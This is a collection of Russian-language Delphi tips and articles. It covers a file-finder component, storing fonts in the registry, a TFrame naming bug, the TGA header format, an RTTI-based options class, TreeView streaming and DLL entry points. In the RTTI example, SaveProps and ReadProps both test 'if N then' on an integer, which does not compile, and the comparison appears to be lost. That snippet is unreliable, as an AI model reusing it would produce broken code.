  FWildcards.Assign(Value);
end;
procedure TCustomFileFinder.SetScanDirs(Value: TScanDirs);
begin
  if Assigned(FThrManager) then
    raise EFileFinderError.Create(ScaningProcessError);
  FScanDirs := Value;
end;
procedure TCustomFileFinder.SetRecurse(Value: Boolean);
begin
  if Assigned(FThrManager) then
    raise EFileFinderError.Create(ScaningProcessError);
  FRecurse := Value;
end;
procedure TCustomFileFinder.SetAttributes(Value: TFileAttributes);
begin
  if Assigned(FThrManager) then
    raise EFileFinderError.Create(ScaningProcessError);
  FAttributes := Value;
end;
procedure TCustomFileFinder.SetMaxThreads(Value: Cardinal);
begin
  FMaxThreads := Value;
end;
procedure TCustomFileFinder.Terminate;
begin
  if not Assigned(FThrManager) then
    raise EFileFinderError.Create(ProcThreadError);
  TThreadManager(FThrManager).Terminate;
end;
function TCustomFileFinder.GetPause: Boolean;
begin
  if not Assigned(FThrManager) then
    raise EFileFinderError.Create(ProcThreadError);
  Result := TThreadManager(FThrManager).GetSuspended;
end;
procedure TCustomFileFinder.SetPause(Value: Boolean);
var
  Suspended: Boolean;
begin
  if not Assigned(FThrManager) then
    raise EFileFinderError.Create(ProcThreadError);
  Suspended := TThreadManager(FThrManager).GetSuspended;
  if not Suspended and Value then
  begin
    TThreadManager(FThrManager).Suspend;
    FStat_IncTime := FStat_IncTime + (Now - FStat_BegScan);
  end;
  if Suspended and not Value then
  begin
    FStat_BegScan := Now;
    TThreadManager(FThrManager).Resume;
  end;
end;
procedure TCustomFileFinder.Start(Wait: Boolean);
begin
  if Assigned(FThrManager) then
    raise EFileFinderError.Create(BeginScaningError);
  FStat_BeginTime := Now;
  FStat_BegScan := FStat_BeginTime;
  FStat_IncTime := 0;
  FStat_NumFiles := 0;
  FStat_NumDirs := 0;
  FThrManager := TThreadManager.Create(Self);
  if Wait then
    TThreadManager(FThrManager).WaitForAll;
end;
procedure TCustomFileFinder.TMTerminated;
var
  Tmp: Boolean;
begin
  Tmp := TThreadManager(FThrManager).FTerminated;
  FreeAndNil(FThrManager);
  FStat_EndTime := Now;
  FStat_IncTime := FStat_IncTime + (FStat_EndTime - FStat_BegScan);
  if Assigned(FOnEndScan) then
    FOnEndScan(self, Tmp);
end;
function TCustomFileFinder.GetStat_DateTimeBegin: TDateTime;
begin
  if FStat_BeginTime = 0 then
    raise EFileFinderError.Create(StatNotCollected);
  Result := FStat_BeginTime;
end;
function TCustomFileFinder.GetStat_DateTimeEnd: TDateTime;
begin
  if (FStat_EndTime = 0) or Assigned(FThrManager) then
    raise EFileFinderError.Create(StatNotCollected);
  Result := FStat_EndTime;
end;
function TCustomFileFinder.GetStat_ScaningTime: TDateTime;
begin
  Result := FStat_IncTime;
  if Assigned(FThrManager) and not
  TThreadManager(FThrManager).GetSuspended then
    Result := Result + (Now - FStat_BegScan);
end;
procedure register;
begin
  RegisterComponents(NamePalette, [TFileFinder]);
end;
end.

Сохранить объект TFont в реестре.

uses Registry;
procedure SaveFontToRegistry(Font : TFont; SubKey : string);
var
  R : TRegistry;
  FontStyleInt : byte;
  FS : TFontStyles;
begin
  R:=TRegistry.Create;
  try
    FS:=Font.Style;
    Move(FS,FontStyleInt,1);
    R.OpenKey(SubKey,True);
    R.WriteString('Font Name',Font.name);
    R.WriteInteger('Color',Font.Color);
    R.WriteInteger('CharSet',Font.Charset);
    R.WriteInteger('Size',Font.Size);
    R.WriteInteger('Style',FontStyleInt);
  finally
    R.Free;
  end;
end;
function ReadFontFromRegistry(Font : TFont; SubKey : string) : boolean;
var
  R : TRegistry;
  FontStyleInt : byte;
  FS : TFontStyles;
begin
  R:=TRegistry.Create;
  try
    result:=R.OpenKey(SubKey,false);
    if not result then
      exit;
    Font.name:=R.ReadString('Font Name');
    Font.Color:=R.ReadInteger('Color');
    Font.Charset:=R.ReadInteger('CharSet');
    Font.Size:=R.ReadInteger('Size');
    FontStyleInt:=R.ReadInteger('Style');
    Move(FontStyleInt,FS,1);
    Font.Style:=FS;
  finally
    R.Free;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  if FontDialog1.Execute then
    SaveFontToRegistry(FontDialog1.Font, 'Delphi Kingdom\Fonts');
end;
procedure TForm1.Button2Click(Sender: TObject);
var
  NFont : TFont;
begin
  NFont:=TFont.Create;
  if ReadFontFromRegistry(NFont,'Delphi Kingdom\Fonts') then
  begin
    //здесь добавить проверку - существует ли шрифт
    Label1.Font.Assign(NFont);
    NFont.Free;
  end;
end;

TFrame. Несколько фреймов одного типа на форме.

Автор: Vlad aka Freeman Проблема в следующем: если положить на одну форму два фрейма одного типа, то в дизайне все нормально, а при создании формы во время выполнения может произойти ошибка: Component named xxxx already exists. Причина - баг в коде загрузки фрейма из DFM. ТИПОВЫЕ РЕШЕНИЯ Чтобы такое не возникало, фреймы одного типа, размещенные на форме, должны иметь имена, отличные от ТипФреймаНомер, например, TMyFrame1 или TMyFrame5. Дайте фреймам другие имена, и форма будет создаваться нормально. КОММЕНТАРИЙ

Описанный эффект возникает в случае, если один из нескольких экземпляров фрейма на форме имеет имя, соответствующее его типу, при отбрасывании первой "T". Например:

Frame1: TFrame1; // причина проблемы
Frame2: TFrame1;
Frame3: TFrame1;
Но!

Во-первых, автоматический генератор кода в IDE (вероятно, зная об этой особенности - D5 SP1) дает имена вида:

Frame11 : TFrame1;
Frame12 : TFrame1;
Frame13 : TFrame1;
...
Frame21 : TFrame2;
Во-вторых, кому в здравом уме придет в голову заменять стандартные имена компонентов на свои, но тоже нумерованные? Бывают, конечно, случаи, когда номер имеет некий смысл в прикладном контексте, но уж очень редко. При этом еще нужно, чтобы это обстоятельство совпало с тем, что смысловая часть имени типа фрейма равна таковой для экземпляра.

Вывод: имейте хорошую привычку сразу давать осмысленные имена экземплярам компонентов, фреймов, форм, и вы никогда не нарветесь на подобные подводные камни.

Заголовок TGA-файла.

OK, берем книжку 'Graphics File Formats, 2nd Edition' (форматы графических файлов) авторов David C. Kay & John R. Levine, и читаем формат заголовка файла для хранения изображения формата Targa.

СмещениеДлина (в байтах)Описание
Описание заголовка файла для изображения формата Targa
0 1 Длина ID-поля (ID Field Length)
1 1 Тип цветовой карты (Color-map Type)
2 1 Тип изображения (Image Type)
Информация о специфике цветовой карты (Color-map-specific Info)
3 2 Первое включение цветовой карты (First Color-map Entry)
5 2 Длина цветовой карты (Color-map Length)
7 1 Размер цветовой карты (Color-map Entry Size)
Информация о специфике изображения (Image-specific Info)
8 2 Горизонтальная координата начала изображения (Image X Origin)
10 2 Вертикальная координата начала изображения (Image Y Origin)
12 2 Ширина изображения (Image Width)
14 2 Высота изображения (Image Height)
16 1 Бит на пиксел (Bits-Per-Pixel)
17 1 Биты дескриптора изображения (Image-Descriptor Bits)
Для изображений с разрешением True-color значение типа цветовой карты должно равняться нулю, в остальных случаях единице. В случае, когда цветовая карта присутствует, ее размер должен равняться значению 15, 16, 24 или 32. Для значений 15 и 16 каждая цветовая карта при загрузке использует 2 байта в формате:
Верхний байт    Нижний байт
A RRRRR GG      GGG BBBBB  
где бит 'A' устанавливается в 0 для 15-битных цветовых величин. 24-битный размер карты хранится как три байта в следующем порядке: (B)lue (синий), (G)reen (зеленый), и (R)ed (красный). 32-битный размер цветовой карты использует четыре байта, ее порядок такой: (B)lue (синий), (G)reen (зеленый), (R)ed (красный) и значение атрибута - (A)ttribute. Наконец, код, хранящий тип изображения (Image Type) должен содержать одно из следующих значений:
Код             Описание
----            -----------
0               Изображение отсутствует
1               Цветовая карта, без компрессии
2               True-color, без компрессии
3               Черно-белое, без компрессии
9               Цветовая карта, RLE-компрессия
10              True-color, RLE-компрессия
11              Черно-белое, RLE-компрессия
Горизонтальная и вертикальная координата начала изображения (Image X & Y Origins) и размеры изображения (Image Width & Height) разъяснений не требуют. Бит на пиксел (Bits-Per-Pixel) обозначает количество битов, содержащихся в точке изображения и может быть равен значению 8, 16, 24, и 32. Биыт дескриптора изображения (The Image Descriptor bytes) содержит несколько полей битов, которые содержат следующую информацию:
Биты            Описание
----            -----------
0-3             Биты атрибутов (описаны ниже)
4               Ориентация Слева-на-Право 0=Л/П 1=П/Л
5               Ориентация Вехр/Низ 0=Н/В 1=В/Н
6-7             Чередование линий 00H=Нет, 40H=2 линии, 80H=4 линии
Биты атрибутов используются для определения атрибутов цветов в цветовой карте или true-color пикселах. 0 - alpha-данные (alpha-канал) отсутствуют, 1 - игнорирование или неопределено, 2 - не определено, но должно быть сохранено, 3 - наличие alpha-данных и 4 - информация о пикселе уже была умножена на alpha-величину.

Файлы версии Targa 2.0 также имеют файловый колонтитул, который может содержать дополнительное изображение или комментарии. Эти файлы всегда заканчиваются строкой-терминатором 'TRUEVISION-TARGA.'. Так, если ваше Targa-изображение заканчивается значением 'TRUEVISION-TARGA.' + 00H, то вы можете извлечь восемь байтов до строки, чтобы найти начало расширенной области и месторасположение каталога сборки данного файла. Обычно файловый колонтитул версии 2.0 имеет следующий формат:

Байт Длина Описание
Формат файлового колонтитула Targa версии 2.0
0 4 32-битное смещение расширенной области
4 4 32-битное смещение каталога сборки
8 17 TRUEVISION-TARGA.
25 1 Двоичный ноль ($0)

Я не собираюсь давать полные описания каталога сборки и области расширения. Вместо этого я приведу описание "почтовой марки", которая может содержаться в формате Targa V2.0. Данная "марка"-иконка должна иметь размеры 64 X 64 пикселей, представляет собой уменьшенный образ изображения, может включаться в файл по желанию компоновщика и не является обязательной.

Смещение Длина Описание ... ... ...
Область расширения
0 2 Размер области расширения (должна быть 495)
2 41 Имя автора
43 81 Авторские комментарии
124 81 Авторские комментарии
205 81 Авторские комментарии
286 81 Авторские комментарии
367 2 Месяц создания
369 2 День создания
371 2 Год создания
482 4 Смещение в файле таблицы цветовой коррекции
486 4 Смещение в файле изображения "почтовой марки"
490 4 Смещение в файле таблицы чередования линий
494 1 Байты атрибутов

Данная "почтовая марка", при наличии, может быть использована вами непосредственно. Она хранится в виде несжатого изоюражения в том же цветовом формате (цветовой карте или True-color), как и исходное изображение.

Автопроектировщик цифровых схем Флогистон.

Оформил: DeeCo

Автор: Владимир Романенко.

Уважаемые жители и гости Королевства! Предлагаю вам демо-версию своего проекта. Очень хочется услышать ваше мнение об идее вообще и о проекте в частности!

Естественно, активные бета-тестеры получат программу бесплатно (хотя я ещё собственно не решил, что с ней делать). Плюс ко всему отвечу на все вопросы, касаемые некоторых деталей разработки программы, вплоть до предоставления участков кода. Жду ваших сообщений, предложений и замечаний! Немного истории. Мне часто приходится по своей работе сталкиваться с различными САПРами (AutoCAD, SolidWorks, OrCAD). К сожалению, все эти системы из версии в версию фактически не меняются. Их основная идея - электронная чертёжная доска, правда, очень удобная! Но они не помогают разрабатывать САМ проект! То есть конструктора или проектировщика (хотя бы даже частично) они заменить не могут. В моих мечтах тогда возникла некая гипотетическая система автоматического проектирования. Пользователь с помощью, например, Мастеров или в какой-либо другой форме вводит техническое задание на проект, программа через некоторое время выводит готовый проект (чертежи, схемы, диаграммы, программы, наконец!). Я представил, что хорошо будет, если в программе будет присутствовать некий Инспектор объектов, позволяющий быстро изменить параметр как всего проектируемого устройства, так и отдельного его узла. Наконец я решился реализовать эту мечту. Конечно, не всю (ПОКА!), а только маленькую её часть. А именно - структурный синтез (параметрический является очень сложной задачей). Да и то лишь булевых цифровых устройств. Программа "Флогистон". Предлагаемая вашему вниманию программа представляет собой автоматический проектировщик асинхронных дискретных автоматов. Программа ориентирована на микросхемную электронику, на в принципе, получаемые логические решения могут использоваться в релейной электронике, пневмонике и струйной гидроавтоматике. Достаточно подробное описание программы имеется в справке и в файле Readme. Хочу только сказать, что я разрабатывал программу для монитора с разрешением 1024х768, и за её нормальную работу при меньшем разрешении я не отвечаю. Программа разрабатывалась в Delphi 6. Версия файла Comctl32.dll - 5.8. Все алгоритмы синтеза взяты из книги Глушкова "Синтез цифровых автоматов" и немного доработаны, учитывая специфику моей программы. За основу алгоритма расчёта и отрисовки соединений элементов в схемах взят волновой алгоритм Ли с обратным ходов; в нём сделаны некоторые изменения (разрешены пересечения линий, узловые точки и пр.). К бета-тестерам. Я понимаю, что программа ещё "сыровата". Сам вижу, что в ней не хватает масштабирования схемы, конвертирования схем в CAD-вские форматы (хотя бы DXF), предупреждений о несохранённых файлах при выходе и закрытии... Поэтому прошу не плеваться сразу, а всё таки немного в программой повозиться. Буду рад, если вы найдёте в ней что-то для себя интересное! Заранее благодарен за отзывы, советы, замечания и предложения! Состав архива: Flogist.exe - сама программа; Flogist.adb - база данных элементов памяти; Flogist.hlp - файл справки; Flogist.cnt - контекст справки; Схема1.dsh - пример Схема2.dsh - пример Readme.txt - некоторые особенности и рекомендации; Скачать проект: Flogist.zip (517 K)

Определить, что пользователь изменить схему оформления XP.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

const
   WM_THEMECHANGED = $031A;
 type
   TForm1 = class(TForm)
     {...}
   private
   public
     procedure WMTHEMECHANGED(var Msg: TMessage); message WM_THEMECHANGED;
   end;
 {...}
 implementation
 {...}
 procedure TForm1.WMTHEMECHANGED(var Msg: TMessage);
 begin
   Label1.Caption := 'Theme changed';
   Msg.Result := 0;
 end;

Теория и практика использования RTTI.

Билли Гейтс был в детстве упрям и делал все наоборот. Когда мать кормила его кашей, она говорила: - Ешь кашу, тогда станешь большим и твердым. Но Билли кашу не любил...

Delphi — это мощная среда визуальной разработки программ сочетающая в себе весьма простой и эффективный язык программирования, удивительный по быстроте компилятор и подкупающую открытость (в состав Delphi входят исходные тексты стандартных модулей и практически всех компонент библиотеки VCL). Однако, как и на солнце, так и в Delphi существуют пятна (на солнце черные, а в Delphi — белые), пятна недокументированных (или почти не документированных) возможностей. Одно из таких пятен — это информация о типах времени исполнения и методы работы с ней.

Информация о типах времени исполнения.(Runtime Type Information, RTTI) —это данные, генерируемые компилятором Delphi о большинстве объектов вашей программы. RTTI представляет собой возможность языка, обеспечивающее приложение информацией об объектах (его имя, размер экземпляра, указатели на класс-предок, имя класса и т. д.) и о простых типах во время работы программы. Сама среда разработки использует RTTI для доступа к значениям свойств компонент, сохраняемых и считываемых из dfm-файлов и для отображения их в Object Inspector,

Компилятор Delphi генерирует runtime информацию для простых типов, используемых в программе, автоматически. Для объектов, RTTI информация генерируется компилятором для свойств и методов, описанных в секции published в следующих случаях:

Объект унаследован от объекта, дня которого генерируется такая информация. В качестве примера можно назвать объект TPersistent.

Декларация класса обрамлена директивами компилятора {$M+} и {$M-}.

Необходимо отметить, что published свойства ограничены по типу данных. Они могут быть перечисляемым типом, строковым типом, классом, интерфейсом или событием (указатель на метод класса). Также могут использоваться множества (set), если верхний и нижний пределы их базового типа имеют порядковые значения между 0 и 31 (иначе говоря, множество должно помещаться в байте, слове или двойном слове). Также можно иметь published свойство любого из вещественных типов (за исключением Real48). Свойство-массив не может быть published. Все методы могут быть published, но класс не может иметь два или более перегруженных метода с одинаковыми именами. Члены класса могут быть published, только если они являются классом или интерфейсом.

Корневой базовый класс для всех VCL объектов и компонент, TObject, содержит ряд методов для работы с runtime информацией. Наиболее часто используемые из них приведены в таблице 1.

Наиболее часто используемые методы класса TObject для работы с RTTI.

Метод Описание
ClassType Возвращает тип класса объекта. Вызывается неявно компилятором при определении типа объекта при использовании операторов is и as
ClassName Возвращает строку, содержащую название класса объекта. Например, для объекта типа TForm вызов этой функции вернет строку "TForm"
ClassInfo Возвращает указатель на runtime информацию объекта
InstanceSize Возвращает размер конкретного экземпляра объекта в байтах.
Таблица 1

Object Pascal предоставляет в распоряжение программиста два оператора, работа которых основана на неявном для программиста использовании RTTI информации. Это операторы is и as. Оператор is предназначен для проверки соответствия экземпляра объекта заданному объектному типу. Так, выражение вида:

AObject is TSomeObjectType

Является истинным в том случае, если объект AObject является экземпляром класса TSomeObjectType или одного из порожденных от него классов. Следует отметить, что определенная проверка происходит еще на этапе компиляции программы. если фактические объект и класс несовместимы, компилятор выдаст ошибку в этом операторе. Так, следующий программный код.

if Edit1 is TForm then 
  ShowMessage('Враки!');

Даже не будет пропущен компилятором, и он выдаст сообщение о не совместимости типов (разумеется, что Edit1 — это компонент типа TEdit):

Incompatible types: 'TForm' and 'TEdit'.

Перейдем теперь к оператору as. Он введен в язык специально для приведения объектных типов. Посредством него можно рассматривать экземпляр объекта как принадлежащий к другому совместимому типу:

AObject as TSomeObjectType

Использование оператора as отличается от обычного способа приведения типов.

TSomeObjectType(AObject)

Наличием проверки на совместимость типов. Так при попытке приведения этого оператора с несовместимым типом он сгенерирует исключение EInvalidCast. Определенным недостатком операторов is и as является то, что присваиваемый фактически тип должен быть известен на этапе компиляции программы и поэтому на месте TSomeObjectType не может стоять переменная указателя на класс.

Для иллюстрации только что написанного рассмотрим небольшой пример. Предположим у вас на форме имеется ряд компонент типа TEdit, и вы хотите реализовать их очистку их свойств перед созданием формы. С применением RTTI это можно сделать следующим программным кодом:

var
  I: Integer;
begin
  for I := 0 to ComponentCount - 1 do
    if Components[I] is TEdit then
      (Components[I] as TEdit).Text := '';
      { или так TEdit (Components[I]).Text := ''; }
end;

Хочу обратить ваше внимание, а то, что стандартное приведение типа в данном примере предпочтительнее, поскольку в операторе if мы уже установили что компонент является объектом нужного нам типа и дополнительная проверка соответствия типов, проводимая оператором as, нам уже не нужна.

Первые шаги в понимании RTTI мы уже сделали. Теперь переходим к подробностям. Все основополагающие определения типов, основные функции и процедуры для работы с runtime информацией находятся в модуле TypInfo. Этот модуль содержит две фундаментальные структуры для работы с RTTI — TTypeInfo и TTypeData (типы указателей на них — PTypeInfo и PTypeData соответственно). Суть работы с RTTI выглядит следующим образом. Получаем указатель на структуру типа TTypeInfo (для объектов указатель можно получить, вызвав метод, реализованный в TObject, ClassInfo, а для простых типов в модуле System существует функция TypeInfo). Затем, посредством имеющегося указателя и вызова функции GetTypeData получаем указатель на структуру типа TTypeData. Далее используя оба указателя и функции модуля TypInfo творим маленькие чудеса. Для пояснения написанного выше рассмотрим пример получения текстового вида значений перечисляемого типа. Пусть, например, это будет тип TBrushStyle. Этот тип описан в модуле Graphics следующим образом:

TBrushStyle = (bsSolid, bsClear, bsHorizontal, bsVertical, 
  bsFDiagonal, bsBDiagonal, bsCross, bsDiagCross);

Вот мы и попробуем получить конкретные значения этого типа в виде текстовых строк. Для этого создайте пустую форму. Поместите на нее компонент типа TListBox с именем ListBox1 и кнопку. Реализацию события OnClick кнопки замените следующим кодом:

var
  ATypeInfo: PTypeInfo;
  ATypeData: PTypeData;
  I: Integer;
  S: string;
begin
  ATypeInfo := TypeInfo(TBrushStyle);
  ATypeData := GetTypeData(ATypeInfo);
  for I := ATypeData.MinValue to ATypeData.MaxValue do
  begin
    S := GetEnumName(ATypeInfo, I);
    ListBox1.Items.Add(S);
  end;
end;

Ну вот, теперь, когда на вооружении у нас есть базовые знания о противнике, чье имя, на первый взгляд выглядит непонятно и пугающее — RTTI настало время большого примера. Мы приступаем к созданию объекта опций для хранения различных параметров, использующего в своей работе мощь RTTI на полную катушку. Чем же примечателен, будет наш будущий класс? А тем, что он реализует сохранение в ini-файл и считывание из него свои свойства секции published. Его потомки будут иметь способность сохранять свойства, объявленные в секции published, и считывать их, не имея для этого никакой собственной реализации. Надо лишь создать свойство, а все остальное сделает наш базовый класс. Сохранение свойств организуется при уничтожении объекта (т.е. при вызове деструктора класса), а считывание и инициализация происходит при вызове конструктора класса. Декларация нашего класса имеет следующий вид:

{$M+}
TOptions = class(TObject)
  protected
    FIniFile: TIniFile;
    function Section: string;
    procedure SaveProps;
    procedure ReadProps;
  public
    constructor Create(const FileName: string);
    destructor Destroy; override;
end;
{$M-}

Класс TOptions является производным от TObject и по этому, что бы компилятор генерировал runtime информацию его надо объявлять директивами {$M+/-}. Декларация класса весьма проста и вызвать затруднений в понимании не должна. Теперь переходим к реализации методов.

constructor TOptions.Create(const FileName: string);
begin
  FIniFile:=TIniFile.Create(FileName);
  ReadProps;
end;
destructor TOptions.Destroy;
begin
  SaveProps;
  FIniFile.Free;
  inherited Destroy;
end;

Как видно реализация конструктора и деструктора тривиальна. В конструкторе мы создаем объект для работы с ini-файлом и организуем считывание свойств. В деструкторе мы в сохраняем значения свойств в файл и уничтожаем файловый объект. Всю нагрузку по реализации сохранения и считывания published-свойств несут методы SaveProps и ReadProps соответственно.

procedure TOptions.SaveProps;
var
  I, N: Integer;
  TypeData: PTypeData;
  List: PPropList;
begin
  TypeData:= GetTypeData(ClassInfo);
  N:= TypeData.PropCount;
  if N then
    Exit;
  GetMem(List, SizeOf(PPropInfo)*N);
  try
    GetPropInfos(ClassInfo,List);
    for I:= 0 to N - 1 do
      case List[I].PropType^.Kind of
        tkEnumeration, tkInteger:
          FIniFile.WriteInteger(Section, List[I]^.name,GetOrdProp(Self,List[I]));
        tkFloat:
          FIniFile.WriteFloat(Section, List[I]^.name, GetFloatProp(Self, List[I]));
        tkString, tkLString, tkWString:
          FIniFile.WriteString(Section, List[I]^.name, GetStrProp(Self, List[I]));
      end;
  finally
    FreeMem(List,SizeOf(PPropInfo)*N);
  end;
end;
procedure TOptions.ReadProps;
var
  I, N: Integer;
  TypeData: PTypeData;
  List: PPropList;
  AInt: Integer;
  AFloat: Double;
  AStr: string;
begin
  TypeData:= GetTypeData(ClassInfo);
  N:= TypeData.PropCount;
  if N then
    Exit;
  GetMem(List, SizeOf(PPropInfo)*N);
  try
    GetPropInfos(ClassInfo, List);
    for I:= 0 to N - 1 do
      case List[I].PropType^.Kind of
        tkEnumeration, tkInteger:
        begin
          AInt:= GetOrdProp(Self, List[I]);
          AInt:= FIniFile.ReadInteger(Section, List[I]^.name, AInt);
          SetOrdProp(Self, List[i], AInt);
        end;
        tkFloat:
        begin
          AFloat:=GetFloatProp(Self,List[i]);
          AFloat:=FIniFile.ReadFloat(Section, List[I]^.name,AFloat);
          SetFloatProp(Self,List[i],AFloat);
        end;
        tkString, tkLString, tkWString:
        begin
          AStr:= GetStrProp(Self,List[i]);
          AStr:= FIniFile.ReadString(Section, List[I]^.name, AStr);
          SetStrProp(Self,List[i], AStr);
        end;
      end;
  finally
    FreeMem(List,SizeOf(PPropInfo)*N);
  end;
end;
function TOptions.Section: string;
begin
  Result := ClassName;
end;

Теперь, для проверки работоспособности, и отладки объекта опций создадим новое приложение и подключим к нему модуль, в котором описан и реализован объект TOptions. Ниже приведен программный код, иллюстрирующий создание наследника от класса TOptions и его использования в главной (и единственной) форме нашего тестового приложения интерфейсная часть выглядит так:

TMainOpt = class(TOptions)
  private
    FText: string;
    FHeight: Integer;
    FTop: Integer;
    FWidth: Integer;
    FLeft: Integer;
    procedure SetText(const Value: string);
    procedure SetHeight(Value: Integer);
    procedure SetLeft(Value: Integer);
    procedure SetTop(Value: Integer);
    procedure SetWidth(Value: Integer);
  published
    property Text: string read FText write SetText;
    property Left: Integer read FLeft write SetLeft;
    property Top: Integer read FTop write SetTop;
    property Width: Integer read FWidth write SetWidth;
    property Height: Integer read FHeight write SetHeight;
end;
TForm1 = class(TForm)
    Edit1: TEdit;
    procedure Edit1Change(Sender: TObject);
  private
    FMainOpt: TMainOpt;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
end;

А вот и реализация:

constructor TForm1.Create(AOwner: TComponent);
var
  S: string;
begin
  inherited Create(AOwner);
  S := ChangeFileExt(Application.ExeName, '.ini');
  FMainOpt := TMainOpt.Create(S);
  Edit1.Text := FMainOpt.Text;
  Left := FMainOpt.Left;
  Top := FMainOpt.Top;
  Width := FMainOpt.Width;
  Height := FMainOpt.Height;
end;
destructor TForm1.Destroy;
begin
  FMainOpt.Left := Left;
  FMainOpt.Top := Top;
  FMainOpt.Width := Width;
  FMainOpt.Height := Height;
  FMainOpt.Free;
  inherited Destroy;
end;
{ TMainOpt }
procedure TMainOpt.SetText(const Value: string);
begin
  FText := Value;
end;
procedure TForm1.Edit1Change(Sender: TObject);
begin
  FMainOpt.Text := Edit1.Text;
end;
procedure TMainOpt.SetHeight(Value: Integer);
begin
  FHeight := Value;
end;
procedure TMainOpt.SetLeft(Value: Integer);
begin
  FLeft := Value;
end;
procedure TMainOpt.SetTop(Value: Integer);
begin
  FTop := Value;
end;
procedure TMainOpt.SetWidth(Value: Integer);
begin
  FWidth := Value;
end;

В заключение своей статьи хочу сказать, что RTTI является недокументированной возможностью Object Pascal и поэтому информации на эту тему в справочной системе и электронной документации весьма мало. Наиболее легкодоступный способ изучить более подробно эту фишку — просмотр и изучение исходного текста модуля TypInfo.

Поточность TreeView.

Автор: Mike Scott На пустой форме у меня располагается TTreeView. Затем я сохраняю это в файле, используя WriteComponent. Это работает как положено; я могу из DOS c помощью команды "type" посмотреть двоичный файл и увидеть его содержимое, типа строк TTreeView и имя объекта. По крайней мере файл записывается и создается впечатление его "наполненности". Затем я освобождаю компонент TTreeView, открываю поток, делаю ReadComponent и, затем, InsertControl. И получаю исключение "TreeView1 has no parent window" (TreeView1 не имеет родительского окна). Это происходит из-за того, что при установке определенных свойств TreeView требуется дескриптор окна элемента управления, а для этого необходимо иметь родителя. Решение заключается в создании пустого TreeView и передаче его в качестве параметра ReadComponent - вы наверняка меня спросите, почему ReadComponent необходим параметр, правильно? Смотрите дальше.

Попробуйте этот код:

procedure TForm1.Button1Click(Sender: TObject);
var 
  TreeView: TTreeView ;
begin
  with TFileStream.Create( 'JUNK.STR', fmCreate ) do 
    try
      WriteComponent( TreeView1 ) ;
      TreeView1.Name := 'TreeView' ;
      Position := 0 ;
      TreeView := TTreeView.Create( Self ) ;
      TreeView.Visible := false ;
      TreeView.Parent := Self ;
      ReadComponent( TreeView ) ;
      TreeView.Top := TreeView1.Top + TreeView1.Height + 10 ;
      TreeView.Visible := true ;
    finally
      Free ;
    end ;
end;
Два небольших замечания: Убедитесь в отсутствии конфликта имен. Данный код делает форму владельцем второго TreeView и при ее освобождении разрушает компонент. Я просто переименовываю существующий TreeView перед загрузкой 'клона'. Я установил свойство visible в false перед установкой свойства parent, этим я предотвратил показ только что созданного TreeView до момента загрузки его из потока.

Потоки и DLL.

Автор: Charles Calvert Потоки и DLL-ки Приведенный ниже текст подразумевает, что вы обладаете базовыми знаниями о принципе работы потоков и умеете создавать DLL. Техническая сторона вопроса будет сфокусирована на потоках и функции DllEntryPoint. Функция DllEntryPoint не должна объявляться в ваших Delphi DLL. Фактически, большую часть, если не всю, Delphi DLL будет правильно работать и без вашего явного объявления DllEntryPoint. Тем не менее, я включил данный совет для тех Win32-программистов, которые понимают эту функцию и хотят связать с ней свое функциональное назначение, чтобы оно являлось частью DLL. Чтобы быть более конкрентым, это будет интересно тем программистам, которые хотят вызывать одну и ту же DLL из многочисленных потоков одной программы. Исходный код данного проекта находится на FTP компании Borland. Данный код также доступен на Compuserve в секции Borland в виде файла BI42.ZIP.

При первом вызове DLL сначала выполняется секция инициализации, расположенная в нижней части кода. При загрузке двух модулей, каждый из которых использует DLL, секция инициализации будет вызвана дважды, для каждого модуля. Вот пример минимального кода Delphi DLL, который компилится, но пока ничего не делает:

library MyDll;
// Здесь код
// экспорта
begin
// Расположенный здесь код выполняется в первую
// очередь при каждом вызове DLL любым exe-файлом.
end.
Как вы можете здесь увидеть, здесь нет традиционного DLLEntryPoint, имеющегося в стандартных C/C++ DLL. Для тех, кто только начал изучать Win32, я сообщу, что DLLEntryPoint берет начало от функций LibMain и WEP, работающих в Windows 3.1. LibMain и WEP теперь считаются устаревшими, вместо них необходимо использовать DLLEntryPoint.

Для явной установки DLLEntryPoint в Delphi, используйте следующий код-скелет, имеющий преимущество перед переменной DLLProc, объявленной глобально в SYSTEM.PAS:

library DllEntry;
procedure DLLEntryPoint(Reason: DWORD);
begin
// Здесь организуется блок Case для Dll_Process_Attach, и др.
end;
// Здесь реализация экспортируемых функций
// экспорт
begin
if DllProc = nil then begin
DllProc := @DLLEntryPoint;
DllEntryPoint(Dll_Process_Attach);
end;
end.

Данный код назначает объявленный пользователей метод с именем DLLEntryPoint объявленной глобально переменной Delphi с именем DllProc, в свою очередь объявленой в SYSTEM.PAS следующим образом:

var
DllProc: Pointer; { Вызывается каждый раз при вызове точки входа DLL }
Вы можете имитировать стандартную функциональность DLLEntryPoint, вызывая объявленный к тому времени локально DLLEntryPoint, и передавая ему Dll_Process_Attach в качестве переменной. В C/C++ DLL эта переменная должна передаваться определенной пользователем функции с именем DllEntryPoint автоматически при первом доступе к DLL из первой обратившейся к ней программы. В Delphi первый вызов этой функции может быть произведен вручную пользователем, но последующие вызовы происходят автоматически до тех пор, пока вы не назначите первый раз функцию переменной DllProc. Другими словами, вы можете форсировать первый вызов DllEntryPoint как показано выше, но последующие вызовы будут сделаны системой автоматически.

Dll_Process_Attach - одна из четырех возможных констант, которые система можете передавать функции DllEntryPoint. Эти константы объявлены в WINDOWS.PAS следующим образом:

DLL_PROCESS_ATTACH = 1; // Программа подключается к DLL
DLL_THREAD_ATTACH = 2;  // Поток программы подключается к DLL
DLL_THREAD_DETACH = 3;  // Поток "оставляет" DLL
DLL_PROCESS_DETACH = 0; // Exe "отсоединяется" от DLL

Более детальная скелетная конструкция DllEntryPoint с использованием приведенных констант:

procedure DLLEntryPoint(Reason: DWORD);
begin
case Reason of
Dll_Process_Attach:
MessageBox(DLLHandle, 'Подключение процесса', 'Инфо', mb_Ok);
Dll_Thread_Attach:
MessageBox(DLLHandle, 'Подключение потока', 'Инфо', mb_Ok);
Dll_Thread_Detach:
MessageBox(DLLHandle, 'Отключение потока', 'Инфо', mb_Ok);
Dll_Process_Detach:
MessageBox(DLLHandle, 'Отключение процесса', 'Инфо', mb_Ok);
end; // case
end;
В приведенном примере я просто вызываю диалог MessageBox в ответ на возможные параметры, передаваемые DLLEntryPoint. Тем не менее, вы могли бы найти более достойное применение данным константам или вовсе игнорировать их. Работа с потоками

